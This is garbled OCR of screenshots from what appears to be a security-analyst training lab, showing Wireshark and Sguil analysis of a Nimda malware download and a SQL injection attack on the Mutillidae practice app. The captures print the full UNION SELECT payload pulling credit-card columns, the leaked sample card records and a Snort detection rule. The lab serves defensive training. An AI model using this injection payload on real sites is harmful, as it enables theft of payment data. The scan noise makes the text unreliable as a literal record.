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[ CyberOps Wortstation [Running] - Oracle VM VirtualBox

Fie Mschine View Input Devices Help
b Applications | rimda download._. @ Terminai - analys...| 7 "Node: |38 node: ns |36 ~node: no- [ moseimor | 4 --- 1134 | analyst

A nimda.download.pcap [Wireshark 2.2.51 (S E

Fle Edt View Go Capture Analyze Statistics Telephony Tools Internals Help

@admad B xXGg Q<& RN B uUl @EE®
fier: + | Expression Clear Save
No.  Time Source Destination Protocol Length Info

| 3 0.000207  209.165.200.235 209.165.202.133 Tcp 66 48598 ~ 6666 [ACK] Seq=L Ack1 Win-20696 Len=0 TSval. 4a51253245|
4 0.000565 ; ; ; GET /32.Ninda.Ann. exe HTTP/1.1

I 5 0.000588  209.165.202.133 209.165.200.235 TP 66 6666 - 48598 [ACK] Seq=1 Ack=165 Win=30208 Len=0 TSval=30234964(
60.000708  209.165.202.133 209.165.200.235 Tcp 324 [TCP segment of a reassembled PDU]

| 70.000827  209.165.200.235 209.165.202.133 Tcp 66 48598 ~ 6666 [ACK] Seq=165 Ack=259 Win=30720 Len=0 TSval=405120
80.004594  209.165.202.133 209.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
90.004602  209.165.200.235 209.165.202.133 Tcp 66 48598 - 6666 [ACK] Seq=165 Ack=1707 Win=33280 Len=0 TSval=40512

I 10 0.004605  209.165.202.133 209.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
11 0.004610  209.165.200.235 209.165.202.133 Tcp 66 48598 - 6666 [ACK] Seq=165 Ack=3155 Win=36352 Len=0 TSval=40512
12 0.004611  209.165.202.133 209.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
13 0.004612  209.165.200.235 209.165.202.133 Tcp 66 48598 - 6666 [ACK] Seq=165 Ack=4603 Win=39424 Len=0 TSval=40512
14 0.004613  209.165.202.133 209.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
T e e e

» Frame 4: 230 bytes on wire (1840 bits), 230 bytes captured (1840 bits

» Ethernet II, Src: ea:05:2c:e1:90:3d (ea:05:2c:e1:90:3d), Dst: 16:4c:37:9e:eb:50 (16:4c:37:9e:eb:50
» Internet Protocol Version 4, Src: 209.165.200.235, Dst: 209.165.202.133

» Transmission Control Protocol, Src Port: 48598, Dst Port: 6666, Seq: 1, Ack: 1, Len: 164

User-Agent: Wget/1.19.1 (Linux-gnu)\r\n
Accept: */*\r\n

Accept-Encoding: identity\r\n

Host: 209.165.202.133:6666\r\n
Connection: Keep-Alive\r\n

[HTTP request 1/1]

Response in frame: 309

0000 16 4c 37 9e eb 50 ea 05
0010 00 d8 2f 66 40 00 40 06
0020 ca 85 bd d6 1a a ec 07
0030 00 3a 37 87 00 00 01 01
0040 e5 11 47 45 54 20 2f 57

60 45 08
eb d1 as
0380 18 .
ae b4 36 .:7..... ...xT..6
6d 64 61 ..GET /W 32.Nimda

File:

imda.download. pcap® 371 k& Packets: 316 - Displayed: 316 (100.0%) - Load time: 0:00.011 Profile
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A nimda.download.pcap [Wireshark 2.2.5] [FAENE
Fle Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
AW g B XEC Q¢ vevays BB sl HE®
Fiter: | tep.stream eq 0 ~ | Expression Clear  Apply  Save

No. Time

000000

source

Destination

Protocol Length Info

Mark Packet (togale)

30.000207  209.165.200.235 209.165.202.133 TC ignore packet toggle) [ACK] Seq=1 Ack=1 Win-29696 Len-0 T5val-4051203246
40.000565  209.165.200.235 209.165.202.133 T da.Amm.exe HTTP/1.1 ]
5 0.000588  200.165.202.133 209.165.200.235 e O setTime Reference oggle) [ (ck] ‘Seq=1 Ack=165 Win=30208 Len=0 TSval=30234964(
60.000708  209.165.202.133 209.165.200.235 TC © Time shift of a reassembled PDU]

7 0.000827  209.165.200.235 209.165.202.133 TC g packet [ACK] Seq=165 Ack=259 Win=30720 Len=0 TSval=405120
8 0.004594  200.165.202.133 209.165.200.235 o of a reassembled PDU]

9 0.004602  209.165.200.235 209.165.202.133 e (&) Packet Comment [ACK] Seq=165 Ac! Win=33280 Len=0 Tsval=40512¢
10 0.004605  209.165.202.133 209.165.200.235 TC Manually Resolve Address of a reassembled

11 0.004610  209.165.200.235 209.165.202.133 TC oty as Al , | [ACK] seq=165 Act Win=36352 Len=0 TSval=40512¢
12 0.004611  209.165.202.133 209.165.200.235 of a reassembled

13 0.004612  209.165.200.235 209.165.202.133 To  Preparea fier > | [ACK] Seq=165 Ac Win=39424 Len=0 TSval=40512¢
14 0.004613  209.165.202.133 209.165.200.235 TC Conversation ilter » |of a reassembled

15 0.004614  209.165.200.235 209.165.202.133 TC Cotorize Conversation , | [ACK] seq=165 Act Win=41984 Len=0 TSval=40512
16 0.004615  209.165.202.133 209.165.200.235 Tc of a reassembled

17 0.004617  209.165.200.235 209.165.202.133 Tc > | [ACK] Seq=165 Ac 5056 Len=0 Tsval=40512¢
18 0.004706  209.165.202.133 209.165.200.235 | of a reassembled

19 0.004710  209.165.200.235 209.165.202.133 T — [ACK] Seq=165 Ac! 8128 Len=0 Tsval=40512¢
20 0.004711  209.165.202.133 209.165.200.235 Tc of a reassembled

21 0.004713  209.165.200.235 209.165.202.133 g Follow SSL stream [ACK] Seq=165 Ac! Len=0 Tsval=4051;
22 0.004713  209.165.202.133 209.165.200.235 TC  Follow HITP Stream of a reassembled

23 0.004715  209.165.200.235 209.165.202.133 T oy , [ACK] 5eq=165 Ac Len=0 Tsval=4051;
24 0.004716  209.165.202.133 209.165.200.235 c of a reassembled

25 0.004717  209.165.200.235 209.165.202.133 TC  Protocol Preferences » | [ACK] Seq=165 Acl Len=0 Tsval=4051;
26 0.004718  209.165.202.133 209.165.200.235 TC 33 Decode As. of a reassembled

27 0 apszi0__200 ies oan 2as 200 25< 202 322 = Lo reual_snsa

» Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bite
» Ethernet II, Src: ea:05:2c:e1:90:3d (ea:05:2c:e1:90:3d), Dst: L
» Internet Protocol Version 4, Src: 209.165.200.235, Dst: 209.165.202.133

print,

Show Packet in New Window
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Fle: *nimda.download.peap” 371 kB Packets: 316 - Displayed: 316 (100.0%) - Load time: 0:00.008 Profile
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[ CyberOps Wortstation [Running] - Oracle VM VirtualBox

Fie Mschine View Input Devices Help
b Applications | @ nimda.dowrl... | & Follow TCP t..| [ Terminal - an... [ "Node: 1+ | ode: b5 | ode: ho [ ode: hao | 1] 11:20 | analyst

Fle  Edit

rsies | M Follow TCP Stream (tcp.stream eq 0) e

Go Capture
Stream Content

le®@ama B2 © | [Ger /w32, Ninda. amn.exe wrTE/1.1 |

User-Agent: Wget/1.19.1 (Linux-gnu)
Accept: */*

R P stream <a © Accept-Encoding: identity

Host: 200.165.202.133:6666
No. Time Source Connection: Keep-Alive
[ 10000000 209.165.200.235 | i
20.000259  209.165.202.133 e e o 2.0
30.000297  209.165.200.235 Date: Tue. 07 Way 2017 14:26:50 GHT
I 4 0.000565  209.165.200.235 Content-Type: application/octet-stream
I 5 0.000588 209.165.202.133 Content-Length: 345088 (
60.000708  209.165.202.133 Eiﬁﬁéﬂifiﬁfekeegféi,3i v
7 0.000827  209.165.200.235 Sy CEE e ST
8 0.004504  209.165.202.133 Reo-rneres (rre]
9 0.004602  209.165.200.235
10 0.004605 209.165.202.133 mMz. @. L.!This program
12 0.004611  209.165.202.133
13 0.004612  209.165.200.235
14 0.004613  209.165.202.133

Frame 1: 74 bytes on wire (592 bits), 74|
Ethernet II, Src: ea:05:2c:e1:90:3d (ea:
Internet Protocol Version 4, Src

.B. .@..B7..L@. LK. LK. Lu. LK. Lb.
“msvert. 411 NTDLL DLL.KERNEL32.d11.api-ms -win-core processthreads-
17170 DLL.WINBRAND. L

Core~sTeXG—

I Entire conversation (345510 bytes) ~

Qnd Fsave as et | Oasal OEscoc  OHexdump (O Amays

{000 16 4c 37 9e eb 50 ea 65 2c el 90 3d
0010 00 3c 2f 64 40 00 40 06 d4 b d1 a5
0020 ca 85 bd d6 1a 6a ec 07 Sb 56 00 00| [g]Help (] iter Out This Stream  Close
0030 72 10 36 eb 00 00 02 04 05 b4 04 02|

0040 74 ae 00 00 00 00 01 03 03 09

71 ke P

8 Profile

i O @ (8 rRontest
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er0ps Workstation [Running] - Oracle VM Virtual [
[ CyberOps Wortstation [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

P S v = pe e — il || B

A nimda.download.pcap [Wireshark 2.2.51 (S E

Fle Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

@AW 4 B[ XS Q¢ »evay% EBE @

Fiter. ~ | Expression Clear  Apply  Save

No. Time Source Destination Protocol Length Info
3 0.000297 200.235 202 TcP 66 48598 - 6666 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=4051203246 TS " ||
4 0.000565 GET /W32
5 0.000588 .165.202.133 200.165.200. Tcp 66 6666 - 48598 [ACK] Seq=1 Ack=165 Win=36208 Len=0 TSval=3023436465
6 0.000708 .165.202.133 200.165.200. Tcp 324 [TCP segment of a reassembled PDU] 1
7 0.000827 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=250 Win=30720 Len=0 Tsval=405120324
8 0.004594 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
9 0.004602 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=1767 Win=33280 Len=0 Tsval=40512032
10 0.004605 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
11 0.004610 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=3155 Win=36352 Len=0 Tsval=40512032
12 0.004611 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
13 0.004612 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=4603 Win=39424 Len=0 Tsval=40512032
14 0.004613 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
15 0.004614 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=6051 Win=41984 Len=0 Tsval=40512032 (|
16 0.004615 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
17 0.004617 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=7499 Win=45056 Len=0 Tsval=40512032
18 0.004706 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
19 0.004710 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=8947 Win=48128 Len=0 Tsval=40512032
20 0.004711 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
21 0.004713 .165.200.235 200.165.202. Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=10395 Win=50688 Len=0 Tsval=4051203
22 0.004713 .165.202.133 209.165.200. Tcp 1514 [TCP segment of a reassembled PDU] |
23 0.004715 .165.200.235 200.165.202. Tcp 66 48508 ~ 6666 [ACK] Seq=165 Ack=11843 Win=53760 Len=0 Tsval=4051203
24 0.004716 .165.202.133 200.165.200. Tcp 1514 [TCP segment of a reassembled PDU]
25 0 ana117___ona 165 200 235 200 185 202 122 1o f6_a8san . AR [acK] Sen=165_Ack=13201 Win=56832 Toval=ansizez

» Frame 4: 230 bytes on wire (1840 bits), 230 bytes captured (1840 bits)

» Ethernet II, Src: ea:05:2c:e1:90:3d (ea:05:2c:e1:90:3d), Dst: 16:4c:37:9e:eb:50 (16:4c:37:9e:eb:50)
» Internet Protocol Version 4, Src: 209.165.200.235, Dst: 209.165.202.133

» Transmission Control Protocol, Src Port: 48598, Dst Port: 6666, Seq: 1, Ack: 1, Len: 164

0000 16 4c 37 9e eb 50 ea 05 2c el 90 3d 08 0 45 00
0010 00 d8 2f 66 40 60 40 06 d3 fd d1 a5 c8 eb d1 a5
0020 ca 85 bd d6 1a 6a ec 07 b 57 81 69 S 03 80 18

0030 00 3a 37 87 00 00 01 01 08 0a f1 78 74 ae ba 36  .:7..... ...xt..6 I
0040 5 11 47 45 54 20 2f 57 33 32 2e de 69 6d 64 61  ..GET /W 32.Ninda I
BRSA_70 41 A Ad 7 AR 70 A% A 43 24 4 Sa 2£ 21 20 hmm ava LT/

OB Fle: lab support fles/pcaps/nima Packets: 316 - Displayed: 316 (100.0%) - Load time: 0:00.017 Profle: .. |
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[£] CyberOps Workstation [Running] - Oracle VM VirtualBox =8 %

b Applications | nimda download.peap Wire... [ Terminai - anaiyst@secops....| P --- 1121 | analyst
A nimda.download.pcap [Wireshark 2.2.51 RS
Fle Edit View Go Capture Analyze Statistics Telephony Tools Internals Help
o N CRE B R A B =g
Open Recent »
Merge ~ | Expression Clear Save
Import from Hex Dump 7
% Close —_— Destination Protocol Length Info
) Save As. ShiftsCtri+s Tcp 66 48598 - 6666 [ACK] Seq=1 Ack=1 Win=29696 Len=0 TSval=4051203246 T
e set R HTTP 230 GET /W32.Ninda.Amn.exe HTTP/1
200.165.200.235 Tcp 66 6666 - 48598 [ACK] Seq=1 Ack=165 Win=36208 Len=0 TSval=3023436465
Export Specified Packets. 200.165.200.235 Tcp 324 [TCP segment of a reassembled PDU]
Export Packet Dissections » 200.165.202.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=250 Win=30720 Len=0 Tsval=405120324
ot - 200.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
200.165.202.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=1767 Win=33280 Len=0 Tsval=40512032
Export PDUS to File. 209.165.200.235 TCP 1514 [TCP segment of a reassembled PDU]
Export SSL. Session Keys. 200.165.202.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=3155 Win=36352 Len=0 Tsval=40512032
ErmarTa] T 0.235 Tcp 1514 [TCP segment of a reassembled PDU]
2.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=4603 Win=39424 Len=0 Tsval=40512032
& print. 1+p picom 0.235 Tcp 1514 [TCP segment of a reassembled PDU]
8 outt Culeo | sMpisMez  2.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=6051 Win=41984 Len=0 Tsval=40512032
T e e 6.235 Tcp 1514 [TCP segment of a reassembled PDU]
17 0.004617  209.165.200.235 2.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=7499 Win=45056 Len=0 Tsval=40512032
18 0.004706  209.165.202.133 260.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
19 0.004710  209.165.200.235 200.165.202.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=8947 Win=48128 Len=0 Tsval=40512032
20 0.004711  200.165.202.133 200.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
21 0.004713  209.165.200.235 200.165.202.133 Tcp 66 48508 - 6666 [ACK] Seq=165 Ack=10395 Win=50688 Len=0 Tsval=4051203
22 0.004713  200.165.202.133 200.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
23 0.004715  209.165.200.235 200.165.202.133 Tcp 66 48508 ~ 6666 [ACK] Seq=165 Ack=11843 Win=53760 Len=0 Tsval=4051203
24 0.004716  200.165.202.133 200.165.200.235 Tcp 1514 [TCP segment of a reassembled PDU]
25 0 Ana717___20a 165 200 235 200 165 707 123 1o 65 4RS0R - ARAA_[ACK] Sen=185 Ack=12701 Win=56222 Toual=ans1203
» Frame 4: 230 bytes on wire (1848 bits), 230 bytes captured (1840 bits)
» Ethernet II, Src: ea:05:2c:e1:90:3d (ea:05:2c:e1:90:3d), Dst: 16:4c:37:9e:eb:50 (16:4c:37:9e:eb:50)
» Internet Protocol Version 4, Src: 209.165.200.235, Dst: 209.165.202.133
» Transmission Control Protocol, Src Port: 48598, Dst Port: 6666, Seq: 1, Ack: 1, Len: 164
» Wypertext Transfer Protocol
0000 16 4c 37 9e eb 50 ea 05 2c el 90 3d 08 00 45 00
0010 60 d8 2f 66 40 00 40 06 d3 fd d1 a5 c8 eb d1 a5 I
0020 ca 85 bd d6 1a 6a ec 07 sb 57 81 69 5 03 89 18 . -
0030 60 3a 37 87 00 00 01 01 08 0a f1 78 74 ae b4 36 .:7..... ...x..6
M e nyZReAy Rrxkeda G onu
O Fle: *nimda.download.pcap" 371 kB Packets: 316 - Displayed: 316 (100.0%) - Load time: 0:00.012 Profile: D
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[ CyberOps Workstation [Running] - Oracle VM VirtualBox (=] &
e MachinenView nputa Devicesaticp

“wk Applications | nimda.download.pcep (Wire... | & Wireshark HTTP object st B Terminel - analyst@secops (] 1123 | analyst

A

Fle  Edit apture Tools Internals Helf

©© 4 W 4 2% BB sow

Fiter v | Expression

No. Time Source Destinat bratacal lenath Taf
263 v.vEIL3G. zvy.10 Wireshark: HTTP object list o
286 0.005638  209.16
287 0.005639  209.16
288 0.005657  209.16 applicatio m 345 kB_W32.Nimda. Amm. 5872 Len=0 Tsva
289 0.005671  209.16
200 0.005672  209.16
201 0.005673  209.16
202 0.005674  209.16
203 0.005675  209.16
204 0.005675  209.16
205 0.005676  209.16
296 0.005677  209.16
207 0.005678  209.16
208 0.005679  209.16

500 0-005695  209.16
301 0.005708 209,16
302 0.005709 209,16
303 0.005720 209,16
300 0.005711 209,16
305 0.005711 209,16
| 06 0i00s712 200036
307 0.005713 209,16
306 0.005718 209,16

3 005715 20

Frame 309: 1282 bytes on
Ethernet II, Src: 16:4c
Internet Protocol Versio
Transmission Control Pro
1243 Reassenbled TCP Seot | ().,

@cancel | | $2001428), #22(1a28), #2a(

Fsavens || dsave sl

Media Type

L7..p..E

0000 ea 05 2c el 90 3d 16 4c 37 9e eb 50 08 00 45 00 ..,
0010 04 f4 2 24 40 00 3e 06 d5 23 d1 a5 ca 85 dl a5 ..,s@.>. .#.
0020 c8 eb 1a 0a bd d6 81 6e Oof 45 ec 67 sb fb 80 18

Frame (1282 bytes)  Reassembled TCP (345346 bytes)

CEREp—

d time: 12 Profile: D
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SGUII

.0~ Connected To localhost
2 201

File Query Reports Sound: Off ServerName: localhost UserName: analyst Userl

RealTime events | Escalated Events |

[] 4 seconion-ethl-l 55834  2017-111320:23:31 200.165.201.17 47144  200.165.200.235 80 6 ETWEB SERVERSEL..
[ ] 4 seconionethl-l 55835  2017-11-1320:23:31 200.165.201.17 47144 209.165.200.235 80 6 ETWEB.SPECIFICA.. ||
[ ¢ seconionethil 55836 2017113202331 20016520117 47144 209165200235 80 6 ETWEB SERVERPos..
[ ] 4 seconionethl-l 55837  2017-111320:2331 200.165201.17 47144 209.165200.235 80 6 ETWEB SERVER Pos...
[ ] 4 seconion-ethl-l 55838  2017-11-1320:2331 200.165.201.17 47144 209.165.200.235 80 6 ETWEB SPECIFIC
e
= ¥ Show Packet Data ¥ Show Rule
1P Resolution | Agent tatus | snort Satistis| System s, =
alert tcp SEXTERNAL_NET any > $HTTP_SERVERS $HTTP_PORTS (ms 4
I Reverse DNS ¥ Enable External DNS QL Injection Attempt UNION SELECT'; flow:established,to_server; content:"UNION'; nocase;
2
Srcip: Source 1P DestIP  Ver HL TOS len D Flags Offset TIL nku
Src Name: 209.165.201.17 1200.165.200.235 4 |5 |0 849 |196982 o 63 |a67
Dst1P: UAPRSF
S OB ource Dest RRRCSS Y I v
Sl Fort Port 10GKHTNN Seq#  Ack# Offset Res Window Urp nksu

;e [= [=
SIsEieyy: © (bR ® STk B5iD 47144 80 || [x|x]. | | [2696383873[a156038328]8 [0 [220 [0 [59

47 45 54 20 2F 6D 75 74 69 6C 6C 69 64 61 65 2F GET /mutillidae |
69 6E 64 65 78 2E 70 68 70 3F 70 61 67 65 3D 75/

PYE 73 65 72 2D 69 6E 66 GF 2E 70 68 70 26 75 73 65|index.php?page=
72 6E 61 6D 65 3D 25 32 37 2B 75 6E 69 6F 6E 2B|u
73 65 6C 65 63 74 28 63 63 69 64 25 32 43 63 63|ser-info.phpaus
6E 75 6D 62 65 72 25 32 43 63 63 76 25 32 43 65le

Search Packet Payload | © Hex ® Text [ NoCase





image16.png
[l View correlated Events

4
4

4

seconion-eth1-1
seconion-eth1-1

seconion-eth1

seconion-eth1-1

5.5834
55835
55836
5.5837
55838

2017-11-1320:23:31
20171113 202331
20171113 202331
20171113 202331
2017-1113 20:23:31

209.165.201.17
209.165.201.17
200.165.201.17
209.165.201.17
209.165.201.17




image17.png
RealTime Evems} Escalated Events| 55836 }

[] Secomion-.. 5583 2071113202331 20916520117 47144 200165200235

[ ] 1 seconion-... Event History 0451 20016520117 47186 209.165.200235 80
B scconion-. SN s> 20016520117 47188 200165200235 80
B 1 sccomon.. TESCR(oreneM  logio sooiesaoniy  47io0 200165200235 80

Wireshark
Wireshark (force new)

NetworkMiner

3 ¥ Show Packet Data ¥ Show Rule
PRI





image18.png
- seconion-eth1-1 5836 a X
File
Sensor Name: seconion-eth1-1 Al

Timestamp: 2017-11-13 20:23:31
Connection ID: .seconion-eth1-1_5836

SrcIP: 209.165.201.17 (209-165-201-17.got.net)
DstIP: 209.165.200.235 (209-165-200-235.got.net)
Src Port: 47144

Dst Port: 80

OS Fingerprint: 209.165.201.17:47144 - UNKNOWN [S20:63:1:60:M1460,5,T,N,W7:.:2:?] (up: 3 hrs)
OS Fingerprint: ->209.165.200.235:80 (link: ethernet/modem)

SRC: GET

/mutillidae/index.php?page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Ccc

\v%2Cexpiration%2Cnull+from+credit_cards+—+&password=&user-info-php-submit-button=View+Acq

ount+Details HTTP/1.1
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SRC: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
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SRC: Accept-Language: en-US,en;q=0.5
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SRC: Connection: keep-alive

SRC: If-Modified-Since: Mon, 13 Nov 2017 13:04:01 GMT

SRC:

SRC:

DST: HTTP/1.1 200 OK

DST: Date: Mon, 13 Nov 2017 13:23:31 GMT

Search Abort Close

Debug Messages

Using archived data:
/nsm/server_data/securityonion/archive/2017-11-13/seconion-eth1-1/209.165.201.17:47144_209.165
.200.235:80-6.raw

Finished.

>}
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1~ End Content —>
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/nsmiserver_data/securityonion/archive/2017-11-13/seconion-eth1-1/209.165.201.17:47144 209,165
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ished.
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Follow TCP Stream (tcp.stream eq 0)
Stream Content (incomplete)

ET /nutillidae/index.php7page=user-info.php&usernane=s27+union+selectrccigs2cccnumbert
2Cccvw2Cexpirations2CnulL+fromscredit_cards+--+&password=Suser-info-php-submit-
button=ViewrAccount+Details HTTP/1.1

Host: 269.165.200.235

Ser-Agent: Mozills, ecko, TreTox

Accept: text/htal, apnucamn/xnmmm\ aPLication/xaliqe0.,/+:qe0.8
lccept-Language: en-US, en;q=0.

lAccept-Encoding: gzip, Gaststs.

Referer: http://209.165.200.235/nutillidae/index. phpZpage=user-info.php&usernane=427
frunionsselectsccidi2Cccnumber%2Cccvi2Cexpirations2Cnul L+fromscredit_cards+--
+6password=Guser-info-php-submit-button=ViewsAccountsDetails

Cookie: PHPSESSID=fag386e2al7ee3ebbeed7e7819d69bed

Connection: keep-alive

If-Modified-Since: Mon, 13 Nov 2017 13:04:01 GHT

HTTP/1.1 200 OK
Date: Mon, 13 Nov 2017 13:23:31 GHT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Logged-In-Use

Cache-Control: public

ranma:_nuhlic

Entire conversation (13241 bytes)
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Help ¥ Fiter Out This tream X close
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Stream Content (i

</t

.</table>.|
</form>

<p class="report-header">Results for . 5 records found.<p><b>Username=</
b>4444111122223333<br><b>Password=</b>745<br><b>Signature=</
b>2012-03-01<br><p><b>Username=</b>7746536337776330<br><b>Password=</
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b>1234567812345678<br><b>Passworde=</b>627<br><b>Signature=</b>2018-11-01<br><p><p>
- .</blockquote>
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.</table>

<div class="footer*>Browser: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0</div><div class="footer">PHP Version: 5.2.4-2ubuntus.10</div>

.<div class="footer">

..The newest version of

Entire conversation (13241 bytes) ~
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SRC: Host: 200.165.200.235

SRC: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

SRC: Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

SRC: Accept-Language: en-US,en;q=0.5

SRC: Accept-Encoding: gzip, deflate

SRC: Referer:
http://209.165.200.235/mutillidae/index.php?page=user-info.php&username=%27+union+select+cci
d%2Cccnumber%2Ccave2Cexpiration%2Cnull+from+credit_cards+—+&password=&user-info-php-su
bmit-button=View+Account+Details

SRC: Cookie: PHPSESSID=8cd7f105e1ae531f5bf67dSec8fde36b

SRC: Connection: keep-alive

SRC: If-Modified-Since: Mon, 26 Jun 2017 04:27:45 GMT

SRC:

SRC:

DST: HTTP/1.1 200 OK

DST: Date: Mon, 26 Jun 2017 05:27:49 GMT

Search Abort Close

Debug Messages

Using archived data:
/nsm/server_data/securityonion/archive/2017-06-26/seconion-eth2-1/209.165.201.17:52644_209.165
.200.235:80-6.raw

Finished.

e

| |
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_seconion-eth2-1_109 - Search

Find: [username

I All I~ Consider Case [ Use Regular Expression | Find Backwards

DST: <p class="report-header">Results for . 5 records
found.<p><b>Username=</b>4444111122223333<br><b>Password=</b>745<br><b>Signature=</b>
1201203-01<br><p><b>Username=</b>7746536337776330<br><b>Password=</h>722<br><b>Signat
Ure=</h>2015-04.01<br><p><h>Username=</h>8242325748474749<br><b>Password=</b>461<br><
b>Signature=</b>2016-03-01<br><p><b>Username=</b>7725653200487633<br><b>Password=</b>
230¢br><b>Signature=</b>2017-06-01<br><p><b>Username=</b>1234567812345678<br><b>Passw
ord=</b>627<br><b>Signature=</b>2018-11-01<br><p><p>

sT:

psT:

DsT: 332

1-End Content >

/blockquote>

<td>

<>

<itable> H

Search Abort Close

Debug Messages

Please be patient as this can take some time.
Using archived data:
/nsm/server_data/securityonion/archive/2017-06-26/seconion-eth2-1/200.165.201.17:52644 200.165
.200.235:80-6.raw

Finished.
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File E ew Go Capture Analyze Statistics Telephony Tools Intemals Help

mAIBHXC|IQED» $a Y

oo P E

fier: O e, G gy G

No. Time Source Destination Prote "\ packet (toggle) |
1 0.000000 209.165.201.17  209.165.200.235  TCP
2 0.009926 209.165.200.235 209.165.201.17  Tcp _ 'dnore Packet (toggle) 0 Ack=1 Win=5792 Len=0 MSS=
3 0.010098 209.165.201.17  209.165.200.235 TP (D Set Time Reference (toggle) =1 Win=20312 Len=0 TSval=95
43.305808  209.165.201.17  209.165.200.235  HTTP (3 Time shift... \p7page=user-info. phpSuserna
5 3.306018 209.165.200.235  209.165.201.17  TCP =798 Win=7392 Len=0 Tsval=3
6 3.360507 209.165.200.235 209.165.201.17  Tcp o ocket wmbled PDU]

————————————————— & Packet Comment... ——

» Frame 1: 74 bytes on wire (592 bits), 74 bytes captured

» Ethernet II, Src: 08 8e:69:79 (08:00:27:8e:69:79)  Manually Resolve Address 18:ab:b6)
) Internet Protocol Version 4, Src: 269.165.201.17 (269.1( 39.165.200.235)

| Transmission Conrol Protoco, Src Pors 52644 (52644, A7) 7 e

Prepare a Filter

0000 08 00 27 a8 ab b6 08 00 27 Be 69 79 08 00 45 00 Conversation Filter >
0010 00 3c a8 82 40 00 40 06 5c f1 dl a5 c9 11 dl a5 . §

0020 B eb cd ad 00 50 50 ed 33 69 00 09 00 00 a@ 02 Colorize Conversation > I
0030 72 10 b2 62 00 00 62 04 05 b4 04 02 08 0a 00 Oe | SCTP >

@ File: “/tmp/209.165.201.17_52644_209.165.200.235_80-6.raw"





image47.png
Follow TCP Stream (tcp.stream eq 0)
Stream Content (incomplete)

[GET /mutillidae/index.php7page=user-info. phpsusernane=w27+unionsselectsccids2Cecnumbers
button=ViewrAccount+Details HTTP/1.1
Host: 209.165.200.235

R o LR G application/xnl;q=0.9,%/*;q=0.8
lccept-Language: en-US, en;q=0.

lAccept-Encoding: gzip, Gaststs.

Referer: http://209.165.200.235/nutillidae/index. phpZpage=user-info.php&usernane=427
frunionsselectsccidi2Cccnumber%2Cccvi2Cexpirations2Cnul L+fromscredit_cards+--
+6password=Suser-info-php-submit-button=ViewsAccountsDetails

Cookie: PHPSESSID=Bcd7f105elae531f5bf67d5ecsfde36h

Connection: keep-alive

If-Modified-Since: Mon, 26 Jun 2017 04:27:45 GHT

HTTP/1.1 200 OK

Date: Mon, 26 Jun 2017 05:27:49 GHT
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Logged-In-Use

Cache-Control: public

ranma:_nuhlic

Entire conversation (14249 bytes)

Qend | Fsaveas Fednt O Ascn O eBCDIC O HexDump O CAmays

Help ¥ Fiter Out This tream X close
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Follow TCP Stream (tcp.stream eq 0)

Stream Content (incomp
<U><a hreT="7page=soUrce-Viewer pnp >SOUrce Viewer</as</ 1>

.......<a href="http://ww.owasp.org/index.php/Top_10_2007-A6" target.
/form>

p class="report-header">Results for . 5 records found.<p><b>Usernane=</
b>4444111122223333<br><b>Password=</b>745<br><b>Signature=</
>2012-03-01<br><p><b>Username=</b>7746536337776330<br><b>Password=</
b>722<br><b>Signature=</b>2015-04-01<br><p><b>Usernane=</
b>8242325748474749<br><b>Password=</b>461<br><b>Signature=</
b>2016-63-01<br><p><b>Usernane=</b>7725653200487633<br><b>Password=</
b>230<br><b>Signature=</b>2017-86-01<br><p><b>Usernane=</

b>1234567812345678<br><b>Password=</b>627<br><b>Signature=</b>2018-11-01<br><p><p>

33
...<!-- End Content -->
. .</blockquote>

.</table>

Entire conversation (14249 bytes) v

Qend | Fsaveas | Gerint (O Ascl O EBCDIC O HexDump O CAmays © Raw

Filter Out This Stream X Close
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Info

Info

Mon Jun 26
12:28:58

Mon Jun 26
